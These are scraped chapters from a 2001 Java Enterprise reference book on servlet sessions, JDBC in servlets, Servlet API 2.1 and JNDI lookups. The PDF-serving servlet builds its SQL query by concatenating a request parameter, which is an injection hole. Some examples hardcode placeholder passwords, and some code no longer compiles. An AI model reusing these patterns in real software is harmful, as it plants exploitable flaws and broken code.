public class VisitCounterServlet extends HttpServlet {

  public void doGet(HttpServletRequest req, HttpServletResponse resp)
    throws ServletException, IOException {

    PrintWriter out = resp.getWriter();
    resp.setContentType("text/html");

    HttpSession thisUser = req.getSession(true);
    Integer visits;

    if(!thisUser.isNew()) {          //Don't check newly created sessions
      visits = (Integer)thisUser.getValue("visitcounter.visits");
      if(visits == null)
        visits = new Integer(1);
      else
        visits = new Integer(visits.intValue() + 1);
    }
    else
      visits = new Integer(1);

    // Put the new count in the session
    thisUser.putValue("visitcounter.visits", visits);

    // Finally, display the results and give them the session ID too
    out.println("<HTML><HEAD><TITLE>Visit Counter</TITLE></HEAD>");
    out.println("<BODY>You have visited this page " + visits + " time[s]");
    out.println("since your last session expired.");
    out.println("Your Session ID is " + thisUser.getId());
    out.println("</BODY></HTML>");
  }
}

5.8.1. HttpSessionBindingListener

Sometimes it is useful to know when an object is getting bound or unbound from a session object. For instance, in an application that binds a JDBC java.sql.Connection object to a session (something that, by the way, is ill-advised in all but very low traffic sites), it is important that the Connection be explicitly closed when the session is destroyed.

The javax.servlet.http.HttpSessionBindingListener interface handles this task. It includes two methods, valueBound() and valueUnbound(), that are called whenever the object that implements the interface is bound or unbound from a session, respectively. Each of these methods receives an HttpSessionBindingEvent object that provides the name of the object being bound/unbound and the session involved in the action. Here is an object that implements the HttpSessionBindingListener interface in order to make sure that a database connection is closed properly:

class ConnectionHolder implements HttpSessionBindingListener {

  java.sql.Connection dbCon;

  public ConnectionHolder(java.sql.Connection con) {
    dbCon = con;
  }

  public void valueBound(HttpSessionBindingEvent event) {
    // Do nothing
  }

  public void valueUnbound(HttpSessionBindingEvent event) {
    dbCon.close();
  }
}

5.8.2. Session Contexts

Version 2.0 of the Servlet API included the getContext() method of HttpSession, coupled with an interface named HttpSessionContext. Together, these allowed servlets to access other sessions running in the same context. Unfortunately, this functionality also allowed a servlet to accidentally expose all the session IDs in use on the server, meaning that an outsider with knowledge could spoof a session. To eliminate this minor security risk, the session context functionality has been deprecated in Version 2.1 of the Servlet API.

Previous | Home | Next
5.7. Cookies | Book Index | 5.9. Databases and Non-HTML Content
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Databases and Non-HTML Content (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

5.9. Databases and Non-HTML Content

Most web applications need to communicate with a database, either to generate dynamic content or collect and store data from users, or both. With servlets, this communication is easily handled using the JDBC API described in Chapter 2, "JDBC". Thanks to JDBC and the generally sensible design of the servlet life cycle, servlets are an excellent intermediary between a database and web clients.

Most of the general JDBC principles discussed in Chapter 2, "JDBC" apply to servlets. However, servlet developers should keep a few things in mind for optimal performance. First, JDBC Connection objects can be created in the servlet's init() method. This allows the servlet to avoid reconnecting to the database (à la CGI) with each request, saving up to a second or more on every single page request. If you anticipate high volume, you may want to create several connections and rotate between them. An excellent freeware connection-pooling system is available at http://www.javaexchange.com. Or, if you're using JDBC 2.0, the javax.sql package provides a connection-pooling mechanism. Finally, if you plan on using JDBC's transaction support, you need to create individual connections for each request or obtain exclusive use of a pooled connection.

So far, all our servlets have produced standard HTML content. Of course, this is all most servlets ever do, but it's not all that they can do. Say, for instance, that your company stores a large database of PDF documents within an Oracle database, where they can be easily accessed. Now say you want to distribute these documents on the Web. Luckily, servlets can dish out any form of content that can be defined with a MIME header. All you have to do is set the appropriate content type and use a ServletOuputStream if you need to transmit binary data. Example 5-8 shows how to pull an Adobe Acrobat document from an Oracle database.

Example 5-8. A Servlet That Serves PDF Files from a Database

import java.io.*;
import java.sql.*;
import javax.servlet.*;
import javax.servlet.http.*;

public class DBPDFReader extends HttpServlet {

  Connection con;

  public void init(ServletConfig config) throws ServletException {
    super.init(config);
    try {
      Class.forName("oracle.jdbc.driver.OracleDriver");
      con = DriverManager.getConnection("jdbc:oracle:oci7:@DBHOST",
                                        "user", "passwd");
    }
    catch (ClassNotFoundException e) {
      throw new UnavailableException(this, "Couldn't load OracleDriver");
    }
    catch (SQLException e) {
      throw new UnavailableException(this, "Couldn't get db connection");
    }
  }

  public void doGet(HttpServletRequest req, HttpServletResponse res)
    throws ServletException, IOException {

    try {
      res.setContentType("application/pdf");
      ServletOutputStream out = res.getOutputStream();

      Statement stmt = con.createStatement();
      ResultSet rs = stmt.executeQuery(
        "SELECT PDF FROM PDF WHERE PDFID = " + req.getParameter("PDFID"));

      if (rs.next()) {
        BufferedInputStream pdfData =
          new BufferedInputStream(rs.getBinaryStream("PDF"));
        byte[] buf = new byte[4 * 1024];  // 4K buffer
        int len;
        while ((len = pdfData.read(buf, 0, buf.length)) != -1) {
          out.write(buf, 0, len);
        }
      }
      else {
        res.sendError(res.SC_NOT_FOUND);
      }
    }
    catch(SQLException e) {
      // Report it
    }
  }
}
Previous | Home | Next
5.8. Session Tracking | Book Index | 5.10. The Servlet API 2.1
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The Servlet API 2.1 (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

5.10. The Servlet API 2.1

Sun made the specification for Version 2.1 of the Servlet API available in November 1998. This version of the API includes some small "housekeeping" changes that make it more consistent and easier to use. For example, method names have been standardized to capitalize "URL", meaning encodeUrl() has been deprecated in favor of encodeURL(), and so forth. GenericServlet now implements ServletContext directly and provides a no-argument init() method you can override in your own servlets. The ServletContext interface contains two new methods, getMajorVersion() and getMinorVersion(), that can determine the latest API version supported.

In addition to these small updates (and a few others noted in Part 3, "API Quick Reference"), Sun included a few genuinely new features. Some are fairly minor. For example, a servlet can now specify a "root cause" exception when creating a new ServletException object. The root cause can be read with the new getRootCause() method of ServletException. This provides somewhat more information than the old approach of creating a ServletException with the value returned by getMessage() from the exception that actually caused the problem.

Other new features, including request dispatching and shared attributes, are more significant and are discussed in the sections that follow. Note that as of this writing, few servlet engines support the new features in Version 2.1 of the Servlet API.

5.10.1. Request Dispatching

The new request dispatching functionality allows a servlet to delegate request handling to other components on the server. A servlet can either forward an entire request to another servlet or include bits of content from other components in its own output. In either case, this is done with a RequestDispatcher object that is obtained from the ServletContext with its new getRequestDispatcher() method. When you call this method, you specify the path to the servlet to which you are dispatching the request.

When you dispatch a request, you can set request attributes using the setAttribute() method of ServletRequest and read them using the getAttribute() method. A list of available attributes is returned by getAttributeNames(). All three of these methods are new in Version 2.1. Rather than taking only String objects (like parameters), an attribute may be any valid Java object.

RequestDispatcher provides two methods for dispatching requests: forward() and include(). To forward an entire request to another servlet, use the forward() method. When using forward(), the ServletRequest object is updated to include the new target URL. If a ServletOutputStream or PrintWriter has already been retrieved from the ServletResponse object, the forward() method throws an IllegalStateException.

The include() method of RequestDispatcher causes the content of the dispatchee to be included in the output of the main servlet--just like a server-side include. To see how this works, let's look at part of a servlet that does a keep-alive check on several different servers:

out.println("Uptime for our servers");

// Get a RequestDispatcher to the ServerMonitorServlet
RequestDispatcher d =
  getServletContext().getRequestDispatcher("/servlet/ServerMonitorServlet");

req.setAttribute("serverurl", new URL("http://www1.company.com"));
d.include(req, res);

req.setAttribute("serverurl", new URL("http://www2.company.com"));
d.include(req, res);

5.10.2. Shared Attributes

The ServletContext interface includes a number of new methods that support the ability for servlets to share attributes. The new setAttribute() method allows a servlet to set an attribute that can be shared by any other servlets that live in its ServletContext. The getAttribute() method, which previously allowed servlets to retrieve hardcoded server attributes, provides access to attribute values, while getAttributeNames() returns an Enumeration of all the shared attributes.

Shared attributes open up some exciting new possibilities. Multiple servlets within a single web application can easily share configuration information, as well as complex programmatic resources, such as a CORBA object that handles user authentication or a database connection pool.

On a related note, Version 2.1 of the Servlet API deprecates all methods related to accessing other servlets directly, due to the fact that they are inherently insecure. Thus, getServlet() and getServletNames() join the already deprecated getServlets(). The problem here was that getServlet() incorrectly allowed one servlet to call another servlet's life-cycle methods.

5.10.3. Resource Abstraction

Resource abstraction is a new feature that allows a servlet to access a resource on a web server, such as an HTML file, without knowing where that resource actually lives. This functionality makes it much easier to move servlets on a web server and even among web servers, such as for load-balancing purposes.

A servlet gets access to a resource using the new getResource() method of ServletContext. You specify a URI path to the resource and get back a URL object that lets you examine the requested resource. The web server controls how URI path parameters map to actual resources. Note that the resources handled by this functionality cannot be an active resource, like another servlet or a CGI script; use the RequestDispatcher for these kinds of resources.

Let's say we have a servlet that writes a complicated header for the content served by the page. To load the actual content, all we have to do is:

URL content = getServletContext().getResource("/pages/page12.html");
out.print(content.getContent());
Previous | Home | Next
5.9. Databases and Non-HTML Content | Book Index | 6. JNDI
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


JNDI (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

Chapter 6. JNDI

Contents:

JNDI Architecture
A JNDI Example
Introducing the Context
Looking Up Objects in a Context
The NamingShell Application
Listing the Children of a Context
Creating and Destroying Contexts
Binding Objects
Accessing Directory Services
Modifying Directory Entries
Creating Directory Entries
Searching a Directory

The Java Naming and Directory Interface ( JNDI) is an API that supports accessing naming and directory services in Java programs. The purpose of a naming service is to associate names with objects and provide a way to access objects based on their names. You should be familiar with naming systems; you use them every day when you browse the filesystem on your computer or surf the Web by typing in a URL. Objects in a naming system can range from files in a filesystem and names located in Domain Name System (DNS) records, to Enterprise JavaBeans (EJB) components in an application server and user profiles in an LDAP (Lightweight Directory Access Protocol) directory. If you want to use Java to write an application such as a search utility, a network-enabled desktop, an application launcher, an address book, a network management utility, or a class browser--in short, anything that accesses objects in a naming system--JNDI is a good candidate for writing that application.

As its name implies, JNDI doesn't just deal with naming services. JNDI also encompasses directory services, which are a natural extension of naming services. The primary difference between the two is that a directory service allows the association of attributes with objects, such as an email address attribute for a user object, while a naming service does not. Thus, with a directory service, you can access the attributes of objects and search for objects based on their attributes. You can use JNDI to access directory services like LDAP and Novell Directory Services (NDS) directories.

As an enterprise programmer, you will most likely use JNDI to access Enterprise JavaBeans; the EJB specification requires that you use JNDI to locate EJB components on the network. But you can also use JNDI to find remote objects in an RMI registry on a remote server. And most enterprise Java suppliers, such as BEA WebXPress, IBM, Novell, Sun, and SCO, support JNDI access to their naming systems.

6.1. JNDI Architecture

The architecture of JNDI is somewhat like the JDBC architecture, in that both provide a standard protocol-independent API built on top of protocol-specific driver or provider implementations. This layer insulates an application from the actual data source it is using, so, for example, it doesn't matter whether the application is accessing an NDS or LDAP directory service.

The JNDI architecture includes both an application programming interface (API) and a service provider interface (SPI), as shown in Figure 6-1. A Java application uses the JNDI API to access naming and directory services, primarily through the Context and DirContext interfaces. The JNDI API is defined in the javax.naming and javax.naming.directory packages. Note that JNDI is a standard extension to the Java 2 platform; it is available at http://java.sun.com/products/jndi/. This chapter covers Version 1.1 of JNDI.[1]

[1]As this book went to press, Sun released a public draft of Version 1.2 of the JNDI specification. The information in this chapter is unchanged by this new version of the specification.

Figure 6-1. The JNDI architecture

In order for an application to actually interact with a particular naming or directory service, there must be a JNDI service provider for that service. This is where the JNDI SPI comes in. A service provider is a set of classes that implements various JNDI interfaces for a specific naming or directory service, much like a JDBC driver implements various JDBC interfaces for a particular database system. The provider can also implement other interfaces that are not part of JNDI, such as Novell's NdsObject interface.

The classes and interfaces in the javax.naming.spi package are only of interest to developers who are creating service providers. For instance, the NamingManager class defines methods for creating Context objects and otherwise controlling the operation of the underlying service provider. As an application programmer, you don't have to worry about the JNDI SPI. All you have to do is make sure that you have a service provider for each naming or directory service you want to use. Sun maintains a list of available service providers on the JNDI web page listed earlier.

Previous | Home | Next
5.10. The Servlet API 2.1 | Book Index | 6.2. A JNDI Example
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


A JNDI Example (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

6.2. A JNDI Example

Before we go any further, let's take a look at a simple JNDI example. To access an object in a naming system, we need to create an initial context for the naming system, to give us an entry point into the naming system. Once we have an initial context, we can look up an object by name.

Example 6-1 demonstrates the basic JNDI tasks of getting an initial context to a naming system and looking up an object in that naming system. With slight modification, this code can be used to look up objects with any JNDI provider. So, for example, you could use Lookup to look up Enterprise JavaBeans or remote objects in an RMI registry and handle them however you like. All you have to change is the properties that control the naming system being accessed.

Example 6-1. Looking Up an Object in a Naming System

import java.util.Properties;
import javax.naming.*;

public class Lookup {
  public static void main(String[] args) {
    String name = "";
    if (args.length > 0)
      name = args[0];

    try {
      // Create a Properties object and set properties appropriately
      Properties props = new Properties();
      props.put(Context.INITIAL_CONTEXT_FACTORY,
          "com.sun.jndi.fscontext.RefFSContextFactory");
      props.put(Context.PROVIDER_URL, "file:///");

      // Create the initial context from the properties we just created
      Context initialContext = new InitialContext(props);

      // Look up the object
      Object obj = initialContext.lookup(name);
      if (name.equals(""))
        System.out.println("Looked up the initial context");
      else
        System.out.println(name + " is bound to: " + obj);
    }
    catch (NamingException nnfe) {
      System.out.println("Encountered a naming exception");
    }
  }
}

The first thing the Lookup application does is create a java.util.Properties object and use it to store some String values. The keys used for these values are constants defined in the javax.naming.Context class. Each constant corresponds to an underlying JNDI property name that is meant to communicate specific information about the JNDI service the application is using. Context.INITIAL_CONTEXT_FACTORY specifies the factory class that creates an initial context for the service we want to use. The class com.sun.jndi.fscontext.RefFSContextFactory is a factory class from the filesystem service provider from Sun. Context.PROVIDER_URL tells the factory class the protocol, server name, and path to use in creating an initial context. We specify the URL file:/// to indicate the root of the local filesystem. This works on any Unix or Windows filesystem.

Once we have created the Properties object, we pass it to the javax.naming.InitialContext constructor, which returns the initial context object that is our entry point into this particular naming system. Next, we call the lookup() method on initialContext, specifying the name we want to look up. This call returns an object from the naming system, which, in this case, is a file or directory.

You can run Lookup from the command line and specify an optional name to look up. For example:

% java Lookup boot.ini
boot.ini is bound to: \boot.ini

If the name is instead a directory, the output looks a bit different:

% java Lookup winnt
winnt is bound to: com.sun.jndi.fscontext.RefFSContext@803adec0

Note that if we wanted to make Lookup more general, we might change it so that it reads its property values from a properties file. Then changing the naming system is a simple matter of editing the properties file to specify an appropriate factory object and URL. Depending on the value you use for the factory class, the object you look up could be an Enterprise JavaBeans component, a reference to a remote object, or something else.

JNDI throws naming exceptions when naming operations cannot be completed. The root naming exception, javax.naming.NamingException, is a catch all for any JNDI exception. The javax.naming package defines numerous subclasses of NamingException. A common naming exception, NameNotFoundException, is thrown when a name cannot be found, either because it doesn't exist or it is spelled incorrectly. JNDI throws a NoPermissionException when a program doesn't have sufficient rights or permissions and an OperationNotSupportedException when an application uses a JNDI method on an object that doesn't support that specific naming operation.

Previous | Home | Next
6.1. JNDI Architecture | Book Index | 6.3. Introducing the Context
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Introducing the Context (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

6.3. Introducing the Context

A naming service associates names with objects. An association between a name and an object is called a binding, and a set of such bindings is called a context. A name in a context can be bound to another context that uses the same naming conventions; the bound context is called a subcontext. For example, in a filesystem, a directory (such as /temp) is a context that contains bindings between filenames and objects that the system can use to manipulate the files (often called file handles). If a directory contains a binding for another directory (e.g., /temp/javax), the subdirectory is a subcontext.

JNDI represents a context in a naming system using the javax.naming.Context interface. This is the key interface for interacting with naming services. A Context knows about its set of bindings in the naming system, but little else. While you might be tempted to think of a Context as an exotic java.io.File object, you should resist making that analogy, as it will just confuse you. Unlike a File object, which can tell you its absolute and relative names as well as return a reference to its parent, a Context object can tell you only about its bindings. A Context cannot go up a level, tell you its absolute pathname, or even tell you its own name. When you think of a Context, think of an object that encapsulates its children as data and has methods that perform operations on that data, not on the Context itself.

6.3.1. Using the InitialContext Class

The javax.naming.InitialContext class implements the Context interface and serves as our entry point to a naming system. To use JNDI to access objects in a naming system, you must first create an InitialContextobject. The InitialContext constructor takes a set of properties, in the form of a java.util.Hashtable or one of its subclasses, such as a Properties object. Here is how we created an InitialContext in the Lookup example:

Properties props = new Properties();
props.put(Context.INITIAL_CONTEXT_FACTORY,
  "com.sun.jndi.fscontext.RefFSContextFactory");
props.put(Context.PROVIDER_URL, "file:///");

// Create the initial context from the properties we just created
Context initialContext = new InitialContext(props);

The most fundamental property key is "java.naming.factory.initial", which corresponds to the Context.INITIAL_CONTEXT_FACTORY constant. The value for this property specifies the name of a factory class in a JNDI service provider. It is the job of this factory class to create an InitialContext that is appropriate for its service and hand the object back to us. We have to give the factory class all the information it needs to create an InitialContext in the form of other property values. For example, the factory class learns the protocol, server name, and path to use from the "java.naming.provider.url" property (Context.PROVIDER_URL).

The filesystem factory class (com.sun.jndi.fscontext.RefFSContxtFactory) doesn't require much in the way of information. Other factory classes can be more demanding. For example, the factory class in Sun's LDAP service provider requires the URL of the LDAP server and directory entry you want to access, a username and password, and an authentication type. Here are some properties (shown in the file format used by the Properties class) you might use to create an InitialContext with the LDAP factory class:

java.naming.factory.initial=com.sun.jndi.ldap.LdapCtxFactory
java.naming.provider.url=ldap://192.168.1.20/o=Planetary,c=US
java.naming.security.authentication=simple
java.naming.security.principal=cn=kris
java.naming.security.credentials=secret

These properties create an InitialContext for an organization called "Planetary" in the global X.500 namespace.

6.3.2. Other Naming Systems

There are many companies that support JNDI, and therefore many naming system service providers. You can find a reasonably comprehensive list of public JNDI providers from the JNDI page on the Sun web site (currently at http://java.sun.com/products/jndi/serviceproviders.html ). You should contact the vendor of your enterprise naming system or directory for more details regarding its specialized providers. Table 6-1 lists the factory classes for some common JNDI providers.

Table 6-1. JNDI Factory Classes

Service | Factory
Filesystem | com.sun.jndi.fscontext.FSContextFactory or com.sun.jndi.fscontext.RefFSContextFactory
LDAPv3 | com.sun.jndi.ldap.LdapCtxFactory
NDS | com.novell.naming.service.nds.NdsInitialContextFactory
NIS | com.sun.jndi.nis.NISCtxFactory
RMI registry | com.sun.jndi.rmi.registry.RegistryContextFactory
Previous | Home | Next
6.2. A JNDI Example | Book Index | 6.4. Looking Up Objects in a Context
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Looking Up Objects in a Context (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

6.4. Looking Up Objects in a Context

Retrieving an object by name from a naming system or directory is called looking up the object. This is the job of the lookup() method of Context. Performing a lookup is analogous to getting the number of a friend from a telephone book by looking up his name. You can use JNDI to look up and retrieve an EJB component from an application server or a remote object from a remote RMI registry.

When you call lookup(), you specify the name of the child of the Context you want to find. lookup() returns a java.lang.Object that represents the child. Here's how we did it in Lookup:

Object obj = initialContext.lookup(name);

Calling lookup() retrieves an object from the underlying naming system. The JNDI service provider determines the Java representation of these objects, and we have no way of affecting the provider's decision. Depending on the naming system and the design of the provider, the object you retrieve may or may not implement Context. For example, if you use the Sun filesystem provider, and your current context is a directory, looking up a child that is a file returns an instance of java.io.File. Looking up a directory, however, returns an instance of FSContext or RefFSContext, both of which implement Context. As another example, say you use Novell's NDS provider, and the current context is an NDS tree. If you look up an organization, you get back an OrganizationDirContext that implements both Context and Novell's NdsObject interface. The bottom line is that the class you get back from lookup() depends on how the service provider is implemented.

JNDI leaves it up to the service provider to choose whether objects should implement Context. There are no strict rules about when an object should implement it, but there are some general guidelines. An object with children is a container, and the guideline for containers is that they should implement Context. This is because we generally perform naming operations upon these objects. For example, in the filesystem, directories can contain other objects, so the object that represents a directory should implement Context (which is how Sun's filesystem provider behaves). If directories don't support Context methods, we cannot use JNDI to look up any children of the directory.

Objects without children are leaves, and leaves may or may not implement Context, depending on how they are used. For example, because files have no children to look up, the methods we perform on them lie outside the naming system. The author of the Sun filesystem provider made a design choice that once we have looked up a file, we're done with JNDI. So, we can read the input stream on a file or write an output stream to it, but we cannot use JNDI to perform naming operations on the file.

Previous | Home | Next
6.3. Introducing the Context | Book Index | 6.5. The NamingShell Application
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


The NamingShell Application (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

6.5. The NamingShell Application

Earlier, we discussed how we might modify the Lookup example to make it more general, allowing us to look up Enterprise JavaBeans and remote objects. The rest of the examples in this chapter are going to be based on the NamingShell code shown in Example 6-2. NamingShell is an extensible JNDI shell that enables us to perform naming operations in any JNDI-accessible naming system. The shell provides methods for getting and setting the current object and other shell-related details, and it also keeps track of the name of the current object, something a Context cannot do for itself.

Once you have loaded NamingShell, you can use the shell to execute JNDI-related commands, just as you would use a regular shell to execute operating-system commands. I encourage you to download the code for NamingShell right now, so that you can experiment with it as we proceed through the rest of the chapter. NamingShell uses the name you type to locate a command dynamically from the filesystem. The shell has no interpreter; however, NamingShell expects a command to implement the Command interface and its execute() method. This means a command really interprets itself. A command throws a CommandException when execution fails.

As you can see, NamingShell itself contains very little real JNDI code. All the JNDI functionality is implemented in the various Command classes we create to handle particular JNDI operations. The shell simply supports the loading of commands and keeps track of various shell-related details.

Example 6-2. The NamingShell Class

import java.io.*;
import java.util.*;
import javax.naming.*;

class NamingShell {

  // Private variables
  private static Hashtable COMMAND_TABLE = new Hashtable();
  private static String  JNDIPROPS_FILENAME  = ".jndienv";
  private static String  PROMPT = "[no initial context]";
  private static String  VERSION = "1.0";
  private static Context CURRENT_CONTEXT, INITIAL_CONTEXT;
  private static String  CURRENT_NAME, INITIAL_NAME;
  private static boolean RUNNING = true;

  // Shell operations
  private static void exit(int status) { System.exit(status); }

  // Accessor methods
  public static Hashtable getCommands() { return COMMAND_TABLE; }
  public static Context getCurrentContext() { return CURRENT_CONTEXT; }
  public static String getCurrentName() { return CURRENT_NAME; }
  public static String getDefaultPropsFilename() { return JNDIPROPS_FILENAME; }
  public static Context getInitialContext() { return INITIAL_CONTEXT; }
  public static String getInitialName() { return INITIAL_NAME; }
  public static String getPrompt() { return PROMPT; }
  public static void setCurrentContext(Context ctx) { CURRENT_CONTEXT = ctx; }
  public static void setInitialContext(Context ctx) { INITIAL_CONTEXT = ctx; }
  public static void setInitialName(String name) { INITIAL_NAME = name; }
  public static void setPrompt(String prompt) { PROMPT = prompt; }
  public static void setCurrentName(String name) {
    CURRENT_NAME = name;
    setPrompt(name);
  }

  // Executes a preinstantiated command we are sure is already
  // present in the table
  private static void execute(Command c, Vector v) {
    if (c == null) {
      System.out.println("No command was loaded; cannot execute the command.");
      return;
    }
    try {
      c.execute(CURRENT_CONTEXT, v);
    }
    catch (CommandException ce) {
      System.out.println(ce.getMessage());
    }
  }

  // Another private method that enables us to specify a command
  // by its string name and that loads the command first
  private static void execute(String s, Vector v) {
    execute(loadCommand(s), v);
  }

  // Loads the command specified in commandName; the help command
  // relies on this method
  public static Command loadCommand(String commandName) {
    // The method returns a null command unless some of its
    // internal logic assigns a new reference to it
    Command theCommand = null;

    // First see if the command is already present in the hashtable
    if (COMMAND_TABLE.containsKey(commandName)) {
      theCommand = (Command)COMMAND_TABLE.get(commandName);
      return theCommand;
    }

    try {
      // Here we use a little introspection to see if a class
      // implements Command before we instantiate it
      Class commandInterface = Class.forName("Command");
      Class commandClass = Class.forName(commandName);

      // Check to see if the class is assignable from Command
      // and if so, put the instance in the command table
      if (!(commandInterface.isAssignableFrom(commandClass)))
        System.out.println("[" + commandName + "]: Not a command");
      else {
        theCommand = (Command)commandClass.newInstance();
        COMMAND_TABLE.put(commandName, theCommand);
    return theCommand;
      }
    }
    catch (ClassNotFoundException cnfe) {
      System.out.println("[" + commandName + "]: command not found");
    }
    catch (IllegalAccessException iae) {
      System.out.println("[" + commandName + "]: illegal acces");
    }
    catch (InstantiationException ie) {
      System.out.println("["+commandName+"]: command couldn't be instantiated");
    }
    finally {
      return theCommand;          // theCommand is null if we get here
    }
  }

  // This method reads a line of input, gets the command and arguments
  // within the line of input, and then dynamically loads the command
  // from the current directory of the running shell
  private static void readInput() {
    // Get the input from System.in
    BufferedReader br = new BufferedReader(new InputStreamReader(System.in));

    // Begin reading input
    try {
      while (RUNNING) {
        System.out.print(PROMPT + "% ");

        // Tokenize the line, read each token, and pass the token
        // into a convenient remaining arguments Vector that we
        // pass into the Command
        StringTokenizer tokenizer = new StringTokenizer(br.readLine());
        Vector remainingArgs = new Vector();
        String commandToken = "";
        if (tokenizer.hasMoreTokens()) {
          commandToken = tokenizer.nextToken();
          while (tokenizer.hasMoreTokens())
            remainingArgs.addElement(tokenizer.nextToken());
        }

        // Dynamically load the class for the appropriate command
        // based upon the case-sensitive name of the first token,
        // which is the command token
        if (!(commandToken.equals("")))
          execute(commandToken, remainingArgs);
      }
    }
    catch (java.io.IOException ioe) {
      System.out.println("Caught an IO exception reading a line of input");
    }
  }
  // Constructor
  NamingShell(String[] args) {
  }

  // Main method that reads input until the user exits
  public static void main(String[] args) {
    System.out.println("NamingShell " + VERSION);
    System.out.println("Type help for more information or exit to quit");
    shell.readInput();
    System.out.println("Exiting");
  }
}

6.5.1. The Command Interface

The Command interface (shown in Example 6-3) describes a standard interface for a shell command. It has an execute() method that contains the command logic and a help() method for displaying online help for the command. If execute() encounters a naming exception (or some other exception), it throws a CommandException (shown in Example 6-4), which stores the first exception as an instance variable so that the shell can display the exception appropriately.

Example 6-3. The Command Interface

import java.util.Vector;
import javax.naming.Context;

public interface Command {
  public void execute(Context c, Vector v)
    throws CommandException;
  public void help();
}

Example 6-4. The CommandException Class

public class CommandException extends Exception {
  Exception e; // root exception
  CommandException(Exception e, String message) {
    super(message);
    this.e = e;
  }
  public Exception getRootException() {
    return e;
  }
}

6.5.2. Loading an Initial Context

As I said earlier, to use JNDI to look up an object in a naming system (or, in fact, to do anything with the naming system), you first have to create an InitialContext for that naming system. So, the first command we need to implement is initctx, for loading an initial context into NamingShell. Example 6-5 shows an implementation of this command.

Example 6-5. The initctx Command

import java.io.*;
import java.util.*;
import javax.naming.*;

public class initctx implements Command {

  public void execute(Context c, Vector v) {
    String jndiPropsFilename;
    // If no properties file is specified, use the default file;
    // otherwise use the specified file
    if (v.isEmpty())
      jndiPropsFilename = NamingShell.getDefaultPropsFilename();
    else
      jndiPropsFilename = (String)v.firstElement();

    try {
      Properties props = new Properties();
      File jndiProps = new File(jndiPropsFilename);
      props.load(new FileInputStream(jndiProps));

      NamingShell.setInitialContext(new InitialContext(props));
      NamingShell.setInitialName("/");
      NamingShell.setCurrentContext(NamingShell.getInitialContext());
      NamingShell.setCurrentName(NamingShell.getInitialName());
      System.out.print("Created initial context using ");
      System.out.println(jndiProps.getAbsolutePath());
    }
    catch (NamingException ne) {
      System.out.println("Couldn't create the initial context");
    }
    catch (FileNotFoundException fnfe) {
      System.out.print("Couldn't find properties file: ");
      System.out.println(jndiPropsFilename);
    }
    catch (IOException ioe) {
      System.out.print("Problem loading the properties file: ");
      System.out.println(jndiPropsFilename);
    }
    catch (Exception e) {
      System.out.println("There was a problem starting the shell");
    }
  }

  public void help() { System.out.println("Usage: initctx [filename]"); }
}

The initctx command accepts an argument that specifies the name of a properties file to use in creating the Properties object that is passed to the InitialContext constructor. If no filename is specified, initctx looks for the default properties file specified by NamingShell. So, with NamingShell, all you have to do to use a particular naming service is create an appropriate properties file for that service.

6.5.3. Running the Shell

With NamingShell and initctx, we have enough functionality to actually run the shell. Before you try running the shell, make sure that the JNDI libraries (in jndi.jar) and any other specialized providers are specified in your classpath. Here's how we might start NamingShell and establish an initial context, once the classpath is set appropriately:

% java NamingShell
NamingShell 1.0
Type help for more information or exit to quit
[no initial context]% initctx
Created initial context using C:\temp\samples\book\.jndienv
/%

In this case, since we didn't specify a properties file, NamingShell looks for the .jndienv file in the current directory. For the purpose of our next few examples, let's assume that this file contains property settings that allow us to use the filesystem provider from Sun. You can change initial contexts at any time during the shell session by running initctx with a new filename. After you have created an initial context, you can begin performing naming operations by typing in commands. To exit the shell, simply use the exit command.[2] If you are not sure how a command works, you can get help for that command by typing:

[2]The help and exit commands are implemented as separate classes, just like the JNDI-related commands. We've not going to examine the code for these commands, as they don't use JNDI. However, the code for these commands is provided in the example code that is available online (at http://www.oreilly.com/catalog/jentnut/ ).

/% help command

Previous | Home | Next
6.4. Looking Up Objects in a Context | Book Index | 6.6. Listing the Children of a Context
Library Navigation Links

Copyright © 2001 O'Reilly & Associates. All rights reserved.


Listing the Children of a Context (Java Enterprise in a Nutshell)

 Java Enterprise in a Nutshell Search this book

6.6. Listing the Children of a Context

A common JNDI operation is retrieving the list of names of an object's children. For example, an application might get the names of Enterprise JavaBeans in a Java application server to see if one is running or list the names of children of an InitialContext in order to populate a Swing JTree component. You list the names of an object's children using the list() method of Context:

NamingEnumeration children = initialContext.list("");

The list() method returns a javax.naming.NamingEnumeration of javax.naming.NameClassPair objects, where each NameClassPair contains the name and class of a single child of the Context. Note that the NameClassPair is not the child itself. Its getName() method, however, enables us to learn the name of the child, while getClassName() lets us access the child's class name. The NamingEnumeration implements the java.util.Enumeration interface, so it allows us to loop through the results of calling list() using the familiar enumeration methods. JNDI actually uses NamingEnumeration as the return type of a number of naming operations; the actual objects in the enumeration vary depending on the operation.

Example 6-6 shows the implementation of a list command for NamingShell. Because executing list() requires a current Context, the execute() method queries the shell to determine whether one exists. If there is no current Context, the method throws an exception.

Example 6-6. The list Command

import java.util.Vector;
import javax.naming.*;

public class list implements Command {
  public void execute(Context c, Vector v) throws CommandException {

    String name = "";

    // An empty string is OK for a list operation as it means
    // list children of the current context.
    if (!(v.isEmpty()))
      name = (String)v.firstElement();

    // Check for current context; throw an exception if there isn't one
    if (NamingShell.getCurrentContext() == null)
      throw new CommandException(new Exception(),
        "Error: no current context.");

    // Call list() and then loop through the results, printing the names
    // and class names of the children
    try {
      NamingEnumeration enum = c.list(name);
      while (enum.hasMore()) {
        NameClassPair ncPair = (NameClassPair)enum.next();
        System.out.print(ncPair.getName() + " (type ");
        System.out.println(ncPair.getClassName() + ")");
      }
    }
    catch (NamingException e) {
      throw new CommandException(e, "Couldn't list " + name);
    }
  }

  public void help() { System.out.println("Usage: list [name]"); }
}

